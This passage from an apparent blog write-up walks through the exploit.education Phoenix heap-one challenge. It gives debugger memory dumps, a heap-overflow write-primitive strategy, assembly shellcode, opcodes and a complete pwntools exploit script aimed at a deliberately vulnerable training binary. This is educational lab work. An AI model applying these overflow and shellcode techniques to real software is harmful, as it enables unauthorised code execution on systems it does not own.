&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./heap-zero &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;python exploit.py&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-bash&lt;/span&gt;: warning: &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;substitution: ignored null byte &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;input
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x7ffff7ef6010
Congratulations, you have passed this level
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;heap-one&quot;&gt;Heap-one&lt;/h2&gt;

&lt;p&gt;In the next &lt;a href=&quot;https://exploit.education/phoenix/heap-one/&quot;&gt;challenge&lt;/a&gt; we are in a slightly more complex situation.&lt;/p&gt;

&lt;p&gt;In the code we see that a structure is declared, having an int (priority) and a pointer to string (name) as fields. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt; function is once again declared but not called anywhere.&lt;/p&gt;

&lt;p&gt;The main function does the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;declare two instances of the structure&lt;/li&gt;
  &lt;li&gt;use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt; to initialize the first structure&lt;/li&gt;
  &lt;li&gt;set priority to 1 (struct 1)&lt;/li&gt;
  &lt;li&gt;use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt; to initialize the name of the first structure&lt;/li&gt;
  &lt;li&gt;use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt; to initialize the second structure&lt;/li&gt;
  &lt;li&gt;set priority to 2 (struct 2)&lt;/li&gt;
  &lt;li&gt;use malloc to initialize the name of the second structure&lt;/li&gt;
  &lt;li&gt;use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; (without boundary check) to copy the first command line argument into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; of the first structure&lt;/li&gt;
  &lt;li&gt;use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; (without boundary check) to copy the second command line argument into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; of the second structure&lt;/li&gt;
  &lt;li&gt;use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s first observe the data structures of the binary during a normal execution.&lt;/p&gt;

&lt;p&gt;We place a breakpoint right before the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts&lt;/code&gt; (printf in the code) call and then run the program.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  b *0x0000000000400ae7
Breakpoint 1 at 0x400ae7
gef➤  run AAAAAAAA BBBBBBBB
Starting program: /home/user/heap-one/heap-one AAAAAAAA BBBBBBBB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Observing the memory in the heap we see the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  search-pattern AAAA
[+] Searching &apos;AAAA&apos; in memory
[+] In (0x7ffff7ef6000-0x7ffff7ff6000), permission=rwx
  0x7ffff7ef6030 - 0x7ffff7ef6038  →   &quot;AAAAAAAA&quot; 
  0x7ffff7ef6034 - 0x7ffff7ef6038  →   &quot;AAAA&quot; 
[+] In &apos;[stack]&apos;(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffe7b9 - 0x7fffffffe7c1  →   &quot;AAAAAAAA&quot; 
  0x7fffffffe7bd - 0x7fffffffe7c1  →   &quot;AAAA&quot; 
gef➤  x /40dwx 0x7ffff7ef6030-48
0x7ffff7ef6000:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6010:	0x00000001	0x00000000	0xf7ef6030	0x00007fff
0x7ffff7ef6020:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6030:	0x41414141	0x41414141	0x00000000	0x00000000
0x7ffff7ef6040:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6050:	0x00000002	0x00000000	0xf7ef6070	0x00007fff
0x7ffff7ef6060:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6070:	0x42424242	0x42424242	0x00000000	0x00000000
0x7ffff7ef6080:	0x00000000	0x00000000	0x000fff81	0x00000000
0x7ffff7ef6090:	0x00000000	0x00000000	0x00000000	0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can clearly see that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; of the two structures is filled with As and Bs, but we can also see the following heap structure:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;8 bytes of 0s
--- First chunk ---
0x21 (size 32 for prev chunk) (8 bytes)
0x1 (priority of struct 1) (8 bytes)
0x7ffff7ef6030 (pointer to name of struct 1) (8 bytes)
8 bytes of 0s
--- Second chunk ---
0x21 (size 32 for prev chunk) (8 bytes)
name (struct 1) (8 bytes)
16 bytes of 0s
--- Third chunk ---
0x21 (size 32 for prev chunk) (8 bytes)
0x2 (priority of struct 2) (8 bytes)
0x7ffff7ef6070 (pointer to name of struct 2) (8 bytes)
8 bytes of 0s
--- Fourth chunk ---
0x21 (size 32 for prev chunk) (8 bytes)
name (struct 2) 8 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In particular, it’s important to stress the behavior of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; calls:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first call will take the first command line argument and place it at the address pointed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;. This address at this point is the return value from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt;, we do not control it (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7ffff7ef6030&lt;/code&gt;).
The second call will take the second command line argument and place it at the address pointed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; (struct 2). We do not control this address either, &lt;em&gt;but&lt;/em&gt;, we do have a strcpy operation without boundary checks that will write before this pointer.&lt;/p&gt;

&lt;h3 id=&quot;exploit-strategy-1&quot;&gt;Exploit Strategy&lt;/h3&gt;

&lt;p&gt;Building on what was discussed so far, the exploit strategy will be the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Fill the struct 1 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Overflow the buffer until the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; pointer for struct 2 is overwritten&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is essentially a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;write&lt;/code&gt; primitive, as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; will place for us what we put in the second command line argument, at the address pointed by the value we will overflow the pointer with.&lt;/p&gt;

&lt;p&gt;The payload is roughly as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;JUNK + WRITE_ADDRESS + WRITE_CONTENT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With a write primitive, one reasonable strategy could be to overwrite a PLT entry (for example for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts&lt;/code&gt;, as this function is called right after in the code) with the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt; function.
This strategy is what for example &lt;a href=&quot;http://www.lucas-bader.com/ctf/2019/04/16/heap1&quot;&gt;this writeup&lt;/a&gt; highlights, and it’s also the first thing that I thought.
Unfortunately, I also faced the same challenge of the author of that writeup, namely that we have a lot of null bytes in the address we need to overwrite (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts&lt;/code&gt; address).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;=&amp;gt; 0x0000000000400ae7 &amp;lt;+170&amp;gt;:	call   0x400840 &amp;lt;puts@plt&amp;gt;

gef➤  x /3i 0x400840
   0x400840 &amp;lt;puts@plt&amp;gt;:	jmp    QWORD PTR [rip+0x20398a]        # 0x6041d0 &amp;lt;puts@got.plt&amp;gt;
   0x400846 &amp;lt;puts@plt+6&amp;gt;:	push   0x5
   0x40084b &amp;lt;puts@plt+11&amp;gt;:	jmp    0x4007e0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts&lt;/code&gt; in the GOT is at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x6041d0&lt;/code&gt;, but unfortunately, the data we are overwriting is initially:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0xf7ef6070      0x00007fff
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we just skip the null bytes at the beginning, we will obtain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7fff004007e0&lt;/code&gt;, not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00000000004007e0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We can try this approach just to prove the correctness of our reasoning:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  run $(python -c &apos;print &quot;A&quot;*40+&quot;\xe0\x07\x40&quot;&apos;) BBBBBBB
Starting program: /home/user/heap-one/heap-one $(python -c &apos;print &quot;A&quot;*40+&quot;\xe0\x07\x40&quot;&apos;) BBBBBBB

Breakpoint 2, 0x0000000000400add in main ()

strcpy@plt (
   $rdi = 0x00007fff004007e0,
   $rsi = 0x00007fffffffe7c3 → 0x0042424242424242 (&quot;BBBBBBB&quot;?),
   $rdx = 0x00007fffffffe7c3 → 0x0042424242424242 (&quot;BBBBBBB&quot;?)
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Indeed we see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; will try to write at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00007fff004007e0&lt;/code&gt; our “B”s.&lt;/p&gt;

&lt;p&gt;In order to circumvent this issue, I decided to change approach and rather than overwriting a GOT entry, overwrite some value on the stack.&lt;/p&gt;

&lt;p&gt;If we set a breakpoint on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; function, we see that the stack has the following setup:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  run AAAAAAA BBBBBBB
Starting program: /home/user/heap-one/heap-one AAAAAAA BBBBBBB
and that&apos;s a wrap folks!

Breakpoint 3, 0x0000000000400af2 in main ()

0x00007fffffffe4e8│+0x0000: 0x00007ffff7d8fd62  →  &amp;lt;__libc_start_main+54&amp;gt; mov edi, eax	 ← $rsp
0x00007fffffffe4f0│+0x0008: 0x0000000000000000
0x00007fffffffe4f8│+0x0010: 0x00007fffffffe530  →  0x0000000000000003
0x00007fffffffe500│+0x0018: 0x0000000000000000
0x00007fffffffe508│+0x0020: 0x00007ffff7ffdbc8  →  0x00007ffff7ffdbc8  →  [loop detected]
0x00007fffffffe510│+0x0028: 0x0400000100003e00
0x00007fffffffe518│+0x0030: 0x0000000000400909  →   nop DWORD PTR [rax+0x0]
0x00007fffffffe520│+0x0038: 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The top of the stack is at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00007fffffffe4e8&lt;/code&gt; and it’s the value that will go in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip&lt;/code&gt; next:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;stepi

[#0] 0x7ffff7d8fd62 → __libc_start_main()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that this value will change depending on the length of our command line arguments, as those values will determine the stack size as well. Therefore, in order to get the final value, we should run the program with arguments of the same length of our payload. For example, running with arguments &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B&lt;/code&gt; we get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00007fffffffe4f8&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;What we can do then is the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Fill the buffer&lt;/li&gt;
  &lt;li&gt;Overwrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; pointer with the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; return address&lt;/li&gt;
  &lt;li&gt;Write at that address one address that points to an area we control (for example, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; of the first structure)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; will return, the value in the saved return address will be placed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip&lt;/code&gt;, and this will redirect control to our buffer.&lt;/p&gt;

&lt;p&gt;The payload then will look roughly as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SHELLCODE + PAD + SAVED_RETURN + ADDR_OF_SHELLCODE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt; has once again a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0a&lt;/code&gt; byte:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x400af3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If that was not the case, we could try to overwrite the save return pointer with the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt; directly.&lt;/p&gt;

&lt;h3 id=&quot;final-exploit&quot;&gt;Final Exploit&lt;/h3&gt;

&lt;p&gt;At this point we have all the pieces for the exploit:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The address for the buffer where we can place the shellcode is at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7fffffef6030&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;The stack address we want to overwrite is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7fffffffe4c8&lt;/code&gt; - as we can see with a 40/8 bytes command line arguments.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We are missing just the shellcode, which would be extremely similar to the one for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;heap-zero&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[SECTION .text]
global _start
_start:
	mov rax, 0xFFFFFFFFFF511C04 ; rax = 0x400af3 + 0xFFFFFFFFF111111
        sub rax, 0xFFFFFFFFF111111  ; rax = 0xFFFFFFFFFF511C04 - 0xFFFFFFFFF111111 = 0x400af3
        push rax ; push rax
	ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We build the shellcode and extract the opcodes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;\x48\xc7\xc0\x04\x1c\x51\xff\x48\x2d\x11\x11\x11\xff\x50\xc3&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, we can assemble the exploit:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# -*- coding: utf-8 -*- 
# run $(python exploit.py) $(python -c &apos;print &quot;\x30\x60\xef\xf7\xff\x7f\x00\x00&quot;&apos;)
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;amd64&apos;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;0x7fffffef6030&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rbp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7fffffffe4c8&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x48\xc7\xc0\x04\x1c\x51\xff\x48\x2d\x11\x11\x11\xff\x50\xc3&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rbp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This script will print only the first argument, we need the second argument (the “what” to write, i.e. the address of the buffer - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; variable).&lt;/p&gt;

&lt;h3 id=&quot;analysis&quot;&gt;Analysis&lt;/h3&gt;

&lt;p&gt;In order to better understand &lt;em&gt;why&lt;/em&gt; the exploit works, we can walk through the code.&lt;/p&gt;

&lt;p&gt;We set three breakpoints:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  b *0x0000000000400ac4
Breakpoint 1 at 0x400ac4
gef➤  b *0x0000000000400add
Breakpoint 2 at 0x400add
gef➤  b *0x0000000000400af2
Breakpoint 3 at 0x400af2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Right &lt;em&gt;after&lt;/em&gt; the first strcpy, right &lt;em&gt;before&lt;/em&gt; the second strcpy, and right before the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then, we run the program:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  run $(python exploit.py) $(python -c &apos;print &quot;\x30\x60\xef\xf7\xff\x7f\x00\x00&quot;&apos;)
Starting program: /home/user/heap-one/heap-one $(python exploit.py) $(python -c &apos;print &quot;\x30\x60\xef\xf7\xff\x7f\x00\x00&quot;&apos;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; we can see that the overflow already happened, and the pointer to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; of struct 2 has been correctly overwritten:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x /100dwx 0x7ffff7ef6030-48
0x7ffff7ef6000:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6010:	0x00000001	0x00000000	0xf7ef6030	0x00007fff
0x7ffff7ef6020:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6030:	0x04c0c748	0x48ff511c	0x1111112d	0x41c350ff
0x7ffff7ef6040:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6050:	0x41414141	0x41414141  --&amp;gt; 0xffffe4c8	0x00007fff &amp;lt;---
0x7ffff7ef6060:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6070:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6080:	0x00000000	0x00000000	0x000fff81	0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That will be the &lt;em&gt;where&lt;/em&gt; to write, and it’s the stack address that holds the saved return pointer for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; function:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x00007fffffffe4a0│+0x0000: 0x00007fffffffe518  →  0x00007fffffffe778  →  &quot;/home/user/heap-one/heap-one&quot;	 ← $rsp
0x00007fffffffe4a8│+0x0008: 0x00000003ffffe538
0x00007fffffffe4b0│+0x0010: 0x00007ffff7ef6050  →  0x4141414141414141
0x00007fffffffe4b8│+0x0018: 0x00007ffff7ef6010  →  0x0000000000000001
0x00007fffffffe4c0│+0x0020: 0x0000000000000003	 ← $rbp
0x00007fffffffe4c8│+0x0028: 0x00007ffff7d8fd62  →  &amp;lt;__libc_start_main+54&amp;gt; mov edi, eax
0x00007fffffffe4d0│+0x0030: 0x0000000000000000
0x00007fffffffe4d8│+0x0038: 0x00007fffffffe510  →  0x0000000000000003
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Right now it’s not the top of the stack, but we can see that it points somewhere in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__libc_start_main&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Continuing the execution, we reach breakpoint 2, right before the second &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; call, which right now is our write primitive.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;strcpy@plt (
   $rdi = 0x00007fffffffe4c8 → 0x00007ffff7d8fd62 → &amp;lt;__libc_start_main+54&amp;gt; mov edi, eax,
   $rsi = 0x00007fffffffe7c4 → 0x4c007ffff7ef6030,
   $rdx = 0x00007fffffffe7c4 → 0x4c007ffff7ef6030
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that it’s trying essentially to do&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*0x00007fffffffe4c8 = 0x007ffff7ef6030
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We do not need to worry about the first “dirty” &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4c&lt;/code&gt; byte, as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; will stop copying at the first null byte.&lt;/p&gt;

&lt;p&gt;If we check what we have at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x007ffff7ef6030&lt;/code&gt;, we can see our shellcode.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x /5i 0x00007ffff7ef6030
   0x7ffff7ef6030:	mov    rax,0xffffffffff511c04
   0x7ffff7ef6037:	sub    rax,0xffffffffff111111
   0x7ffff7ef603d:	push   rax
   0x7ffff7ef603e:	ret    
   0x7ffff7ef603f:	rex.B
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

